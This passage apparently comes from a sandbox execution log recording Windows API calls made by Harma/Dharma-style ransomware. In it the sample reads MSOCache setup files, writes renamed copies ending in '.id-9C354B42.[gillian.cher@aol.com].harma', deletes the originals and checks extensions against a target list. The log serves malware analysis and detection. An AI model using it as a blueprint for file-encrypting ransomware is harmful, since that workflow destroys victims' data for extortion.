Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.507] GetLastError () returned 0x0 [0040.507] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x750, lpOverlapped=0x0) returned 1 [0040.508] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x760, lpOverlapped=0x0) returned 1 [0040.509] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.509] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.509] SetEndOfFile (hFile=0x19c) returned 1 [0040.510] CloseHandle (hObject=0x19c) returned 1 [0040.510] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.510] SetEndOfFile (hFile=0x198) returned 1 [0040.511] CloseHandle (hObject=0x198) returned 1 [0040.511] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.512] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.512] lstrlenW (lpString=".doc") returned 4 [0040.512] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.512] lstrlenW (lpString=".docx") returned 5 [0040.512] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.512] lstrlenW (lpString=".pdf") returned 4 [0040.512] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.512] lstrlenW (lpString=".xls") returned 4 [0040.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.512] lstrlenW (lpString=".xlsx") returned 5 [0040.512] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.512] lstrlenW (lpString=".ppt") returned 4 [0040.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.512] lstrlenW (lpString=".zip") returned 4 [0040.512] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.512] lstrlenW (lpString=".rar") returned 4 [0040.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.512] lstrlenW (lpString=".bz2") returned 4 [0040.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.512] lstrlenW (lpString=".7z") returned 3 [0040.512] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.512] lstrlenW (lpString=".dbf") returned 4 [0040.513] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.513] lstrlenW (lpString=".1cd") returned 4 [0040.513] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.513] lstrlenW (lpString=".jpg") returned 4 [0040.513] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.513] lstrlenW (lpString=".doc") returned 4 [0040.513] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString=".docx") returned 5 [0040.513] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.513] lstrlenW (lpString=".pdf") returned 4 [0040.513] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString=".xls") returned 4 [0040.513] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString=".xlsx") returned 5 [0040.513] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.513] lstrlenW (lpString=".ppt") returned 4 [0040.513] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.513] lstrlenW (lpString=".zip") returned 4 [0040.513] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.513] lstrlenW (lpString=".rar") returned 4 [0040.513] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString=".bz2") returned 4 [0040.513] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.513] lstrlenW (lpString=".7z") returned 3 [0040.513] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.514] lstrlenW (lpString=".dbf") returned 4 [0040.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.514] lstrlenW (lpString=".1cd") returned 4 [0040.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.514] lstrlenW (lpString=".jpg") returned 4 [0040.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.514] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.514] lstrlenW (lpString="Setup.xml") returned 9 [0040.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.514] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1452) returned 1 [0040.514] CloseHandle (hObject=0x198) returned 1 [0040.514] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.514] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.515] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.515] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.515] GetLastError () returned 0x0 [0040.515] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0040.517] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0040.518] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.518] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.518] SetEndOfFile (hFile=0x19c) returned 1 [0040.518] CloseHandle (hObject=0x19c) returned 1 [0040.519] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.519] SetEndOfFile (hFile=0x198) returned 1 [0040.519] CloseHandle (hObject=0x198) returned 1 [0040.520] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.520] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.520] lstrlenW (lpString=".doc") returned 4 [0040.520] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.520] lstrlenW (lpString=".docx") returned 5 [0040.520] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.520] lstrlenW (lpString=".pdf") returned 4 [0040.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.520] lstrlenW (lpString=".xls") returned 4 [0040.520] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.520] lstrlenW (lpString=".xlsx") returned 5 [0040.520] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.520] lstrlenW (lpString=".ppt") returned 4 [0040.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.520] lstrlenW (lpString=".zip") returned 4 [0040.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.521] lstrlenW (lpString=".rar") returned 4 [0040.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString=".bz2") returned 4 [0040.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString=".7z") returned 3 [0040.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.521] lstrlenW (lpString=".dbf") returned 4 [0040.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.521] lstrlenW (lpString=".1cd") returned 4 [0040.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.521] lstrlenW (lpString=".jpg") returned 4 [0040.521] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.521] lstrlenW (lpString=".doc") returned 4 [0040.521] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString=".docx") returned 5 [0040.521] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.521] lstrlenW (lpString=".pdf") returned 4 [0040.521] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString=".xls") returned 4 [0040.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString=".xlsx") returned 5 [0040.521] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.521] lstrlenW (lpString=".ppt") returned 4 [0040.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.521] lstrlenW (lpString=".zip") returned 4 [0040.521] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.522] lstrlenW (lpString=".rar") returned 4 [0040.522] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.522] lstrlenW (lpString=".bz2") returned 4 [0040.522] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.522] lstrlenW (lpString=".7z") returned 3 [0040.522] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.522] lstrlenW (lpString=".dbf") returned 4 [0040.522] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.522] lstrlenW (lpString=".1cd") returned 4 [0040.522] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.522] lstrlenW (lpString=".jpg") returned 4 [0040.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.522] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.522] lstrlenW (lpString="branding.xml") returned 12 [0040.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.523] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=596341) returned 1 [0040.523] CloseHandle (hObject=0x198) returned 1 [0040.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0040.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.525] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.525] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.525] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.525] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.526] GetLastError () returned 0x0 [0040.526] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x91975, lpOverlapped=0x0) returned 1 [0040.553] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0040.893] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.893] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.893] SetEndOfFile (hFile=0x19c) returned 1 [0040.893] CloseHandle (hObject=0x19c) returned 1 [0040.900] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.900] SetEndOfFile (hFile=0x198) returned 1 [0040.906] CloseHandle (hObject=0x198) returned 1 [0040.906] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.906] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0040.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.906] lstrlenW (lpString=".doc") returned 4 [0040.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString=".docx") returned 5 [0040.907] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0040.907] lstrlenW (lpString=".pdf") returned 4 [0040.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString=".xls") returned 4 [0040.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString=".xlsx") returned 5 [0040.907] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0040.907] lstrlenW (lpString=".ppt") returned 4 [0040.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.907] lstrlenW (lpString=".zip") returned 4 [0040.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.907] lstrlenW (lpString=".rar") returned 4 [0040.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString=".bz2") returned 4 [0040.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString=".7z") returned 3 [0040.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.907] lstrlenW (lpString=".dbf") returned 4 [0040.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.907] lstrlenW (lpString=".1cd") returned 4 [0040.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.907] lstrlenW (lpString=".jpg") returned 4 [0040.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.907] lstrlenW (lpString=".doc") returned 4 [0040.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString=".docx") returned 5 [0040.908] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0040.908] lstrlenW (lpString=".pdf") returned 4 [0040.908] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString=".xls") returned 4 [0040.908] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString=".xlsx") returned 5 [0040.908] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0040.908] lstrlenW (lpString=".ppt") returned 4 [0040.908] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.908] lstrlenW (lpString=".zip") returned 4 [0040.908] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.908] lstrlenW (lpString=".rar") returned 4 [0040.908] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString=".bz2") returned 4 [0040.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString=".7z") returned 3 [0040.908] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.908] lstrlenW (lpString=".dbf") returned 4 [0040.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.908] lstrlenW (lpString=".1cd") returned 4 [0040.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.908] lstrlenW (lpString=".jpg") returned 4 [0040.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.908] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.909] lstrlenW (lpString="Setup.xml") returned 9 [0040.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.909] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=9352) returned 1 [0040.909] CloseHandle (hObject=0x198) returned 1 [0040.909] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.909] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.909] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.909] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 